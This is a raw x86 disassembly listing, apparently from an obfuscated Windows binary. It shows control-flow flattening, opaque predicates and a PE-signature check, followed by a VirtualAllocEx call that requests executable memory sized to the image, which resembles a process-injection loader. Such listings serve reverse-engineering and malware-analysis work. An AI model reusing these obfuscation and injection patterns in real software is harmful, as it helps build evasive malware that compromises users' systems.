lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xda3d53a8
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x25c2ac57
and ecx, 0xda3d53a8
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xf43e01a0
not eax
mov esi, eax
and edx, ecx
and esi, 0xf43e01a0
and ecx, 0x83ebc5ac
or edx, esi
mov esi, edx
not esi
and edx, 0x24ebc2f2
and esi, 0xdb143d0d
or edx, esi
mov esi, eax
and esi, 0x7c143a53
and eax, 1
or esi, ecx
xor edx, 0xd0d5c353
xor esi, 0x83ebc5ad
or eax, esi
mov esi, 0xb4ac9cac
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0x2c2012e4
mov edx, ecx
and edx, 0x59881b
and ecx, 0xd3866500
or eax, edx
xor eax, 0x2c2012e4
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x36bdb0f9
and eax, 0xc9424f06
or ecx, eax
mov eax, ecx
xor eax, 0x249810f1
xor ecx, 0xc0004d00
and ecx, 0xd225ed08
and eax, 0x2dda12f7
or eax, ecx
xor eax, 0x2dda12f7
sete dl
setne cl
cmp dword [0x4e4170], 0xa
setge al
mov ah, al
xor ah, cl
or cl, al
or al, dl
and ah, dl
xor al, 1
xor cl, 1
or al, ah
xor al, cl
mov edx, eax
cmovne esi, edi
not dl
test dl, cl
cmovne esi, edi
test al, al
mov eax, esi
cmovne eax, edi
test dl, cl
mov ecx, dword [ebp - 0x1c]
cmove eax, esi
mov ecx, dword [ecx]
cmp dword [ecx], 0x4550
setne byte [ebp - 0x8f]
jmp 0x401710
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xf13824cb
and eax, ecx
not ecx
and ecx, 0xf13824cb
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd2bdf709
and ecx, 0x2d4208f6
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xdc7a2c3c
xor ecx, 0x2385d3c2
xor edx, 0x2385d3c3
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x1f9955d6
mov esi, eax
and esi, 0xe066aa29
or edx, esi
mov esi, ecx
not esi
and ecx, 0x1f9955d6
or eax, esi
and esi, 0xe066aa29
or ecx, esi
not eax
mov esi, 0x530f77af
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xad859308
and ecx, 0x527a6cf7
or eax, ecx
mov ecx, eax
xor ecx, 0xa8040100
xor eax, 0x2080896
and eax, 0x7899a9e
and ecx, 0xf8766561
or ecx, eax
mov eax, ecx
xor eax, 0x7091802
xor ecx, 0x90066520
and ecx, 0x9086e7bc
and eax, 0x6f791843
or eax, ecx
xor eax, 0x9086e7bc
sete ch
setne ah
cmp dword [0x4e4170], 0xa
setge al
setl cl
mov edx, eax
or al, ch
xor dl, ah
or ah, cl
xor al, 1
or cl, ch
xor ah, 1
xor cl, 1
or al, ah
or cl, dl
mov ch, al
mov ah, al
mov edx, ecx
xor ch, 1
xor dl, 1
and ah, ch
xor ah, 1
or ah, ch
xor ch, cl
xor ah, 1
or ah, al
or al, dl
and dl, cl
xor dl, 1
xor al, 1
mov dh, dl
or dl, cl
or al, ch
xor dh, cl
xor dl, 1
mov ecx, eax
or dl, dh
mov dh, dl
xor dh, 1
and dh, ah
xor ah, 1
and ah, dl
or ah, dh
mov edx, 0x4c9b42cc
xor cl, ah
test al, 1
cmovne edx, esi
test ah, 1
not cl
mov eax, 0x4c9b42cc
cmove edx, esi
test cl, 1
cmovne edx, eax
mov eax, edx
jmp 0x401710
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0x44]
inc eax
mov dword [ecx], eax
mov eax, 0x1b52f0db
jmp 0x401710
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
push 0x40
push 0x3000
push dword [eax + 0x50]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
mov eax, 0xf88015d3
jmp 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0x46a9140a
mov ecx, eax
and ecx, 0x6280000
and edx, eax
not eax
and eax, 0x4081140a
or ecx, eax
mov eax, ecx
xor eax, 0xf9d7ffff
and ecx, 0x40001408
mov esi, eax
and esi, 0x7b96b32
or ecx, esi
mov esi, edx
not esi
and edx, 0xf84694cd
or eax, esi
and esi, 0x7b96b32
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xd69bc63b
and ecx, 0x296439c4
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x6fcd2dce
xor edx, 0x9032d231
xor eax, 0xb5ea1ec5
mov esi, ecx
or esi, edx
and edx, 0xceb6cff2
and eax, esi
mov esi, eax
not esi
and eax, 0x4d70b5ac
and esi, 0xb28f4a53
or eax, esi
mov esi, ecx
and esi, 0x3149300d
and ecx, 1
or esi, edx
xor eax, 0x68a87959
xor esi, 0xceb6cff3
or ecx, esi
mov esi, 0x23b45113
not ecx
or ecx, eax
mov edx, ecx
xor edx, 0x9c756dab
mov eax, ecx
and eax, 0x100444a1
and edx, ecx
not ecx
and ecx, 0x8c71290a
or eax, ecx
xor eax, 0x100444a1
or eax, edx
not edx
and edx, 0x638a9254
and eax, 0x9c756dab
or eax, edx
mov ecx, eax
not ecx
and eax, 0xcaeaf721
mov edx, ecx
and edx, 0x351508de
or eax, edx
xor eax, 0xcaeaf721
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x4e4170], 0xa
setge ah
setl dl
mov cl, ah
xor dl, al
xor cl, al
or al, ah
and al, cl
not cl
and cl, ah
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x4f6a571f
cmovne eax, esi
test dl, 1
mov edx, 0x4f6a571f
cmovne edx, eax
test cl, 1
cmove edx, eax
mov eax, edx
jmp 0x401710
mov eax, 0x32c5d2e2
jmp 0x401710
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1b0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, eax
not ecx
and eax, 0xfc890737
and ecx, 0x376f8c8
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x1666808
xor eax, 0xfc890737
xor edx, 0xbc890737
and edx, eax
and ecx, 0xad6f6e1c
and eax, 0x529091e3
or eax, ecx
xor eax, 0x129091e3
or eax, edx
mov ecx, eax
xor ecx, 0xdaa0d0b7
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0x255f2f48
and eax, 0xdaa0d0b7
or eax, ecx
mov eax, 0x3b925868
mov ecx, 0x3ecd5811
cmove eax, ecx
jmp 0x401710
mov eax, dword [0x4e4174]
mov esi, 0x1df0f5d6
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xfffffffe
and edx, 0xfffffffe
and eax, ecx
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4e4170], 0xa
setge ch
setl al
mov cl, ch
and dl, al
and ch, ah
or al, ah
xor cl, ah
or ch, dl
xor al, 1
or al, ch
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
mov ecx, 0x77cd6f2d
cmovne ecx, esi
test al, al
mov esi, 0x77cd6f2d
jmp 0x40d236
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x188]
mov dword [eax], ecx
mov eax, dword [ebp - 0x80]
mov eax, 0x9ef2f218
jmp 0x401710
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov ecx, 0xded9865b
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x60]
cmp dword [eax + 4], 0
mov eax, 0x1169ab54
cmove eax, ecx
jmp 0x401710
mov eax, dword [0x4e4174]
lea edx, [eax + 1]
imul edx, eax
andn eax, edx, edx
mov ecx, edx
not ecx
mov edi, edx
and edi, 0xb72f6683
mov esi, eax
not esi
and ecx, 0x48d0997c
and eax, 0x48d0997c
or edx, esi
and esi, 0xb72f6683
or ecx, edi
or eax, esi
not edx
xor eax, ecx
or edx, eax
mov eax, edx
not eax
and edx, 0x92da8e04
mov edi, eax
or edi, 0x11f7c654
mov esi, eax
and esi, 0x11f7c654
mov ecx, edi
not ecx
and edi, 0xee0839aa
or ecx, esi
mov esi, eax
and esi, 0x6d2571fb
and eax, 1
or esi, edx
and ecx, 0x11f7c655
xor esi, 0x92da8e05
or ecx, edi
or eax, esi
mov edx, eax
not edx
and eax, 0xfe43fa1a
and edx, 0x1bc05e5
or eax, edx
mov edx, ecx
not edx
and ecx, 0xc81ed2a3
mov esi, edx
and esi, 0x37e12d5c
or ecx, esi
mov esi, eax
xor esi, 0xc802d202
xor eax, 0x1bc05e5
or edx, eax
and eax, 0x37e12d5c
and esi, 0xc81ed2a3
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x1d5878ad
mov eax, edx
not eax
and edx, 0x73c48dd3
and eax, 0x8c3b722c
or edx, eax
mov eax, edx
xor eax, 0x60048413
xor edx, 0x8c3b722c
mov ecx, edx
and ecx, 0x1bda19c4
and eax, 0xe425e63b
or eax, ecx
xor eax, 0xe425e63b
or eax, edx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4e4170], 0xa
setge cl
setl al
and dl, al
or al, ah
and cl, ah
or cl, dl
xor al, 1
or al, cl
mov edx, ecx
mov ah, al
xor dl, 1
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xf0e3f5ac
cmovne ecx, esi
test al, al
mov esi, 0xf0e3f5ac
mov eax, ecx
cmovne eax, esi
test dl, dl
cmovne eax, ecx
jmp 0x401710
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x44]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0xc]
mov dword [ebp - 0x188], eax
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x5cb8955f
mov eax, ecx
and eax, 0x58200403
and edx, ecx
not ecx
and ecx, 0x498915c
or eax, ecx
xor eax, 0x58200403
or eax, edx
not edx
and edx, 0xa3476aa0
and eax, 0x5cb8955f
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x1b150904
and eax, 0xe4a04400
mov edx, ecx
and edx, 0xa921b
or ecx, 0x81b8a05
or esi, edx
and ecx, 0x85baae5
mov edx, esi
xor edx, 0x13040100
xor esi, 0x4aa2e1
or eax, ecx
and esi, 0x85baae5
and edx, 0x1304111a
or edx, esi
mov esi, 0x40543cd8
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x1b1f9b1f
and ecx, 0xe4e064e0
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc4cd2ffb
and ecx, 0x3b32d004
or ecx, eax
mov eax, ecx
xor eax, 0x804d000b
xor ecx, 0x3321004
and ecx, 0x47b23ff4
and eax, 0xb84dc00b
or eax, ecx
xor eax, 0xb84dc00b
sete dl
setne ah
cmp dword [0x4e4170], 0xa
setge cl
setl al
and ah, al
and cl, dl
or cl, ah
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x3b605328
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, esi
jmp 0x40af01
mov eax, 0x772ddbd0
jmp 0x401710
cmp byte [ebp - 0x90], 0
mov eax, 0xb8e8a66a
mov ecx, 0x20566bd0
cmovne eax, ecx
jmp 0x401710
cmp eax, 0xf1c0da6a
jne 0x401710
mov esi, dword [ebp - 0x1dc]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00421250
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret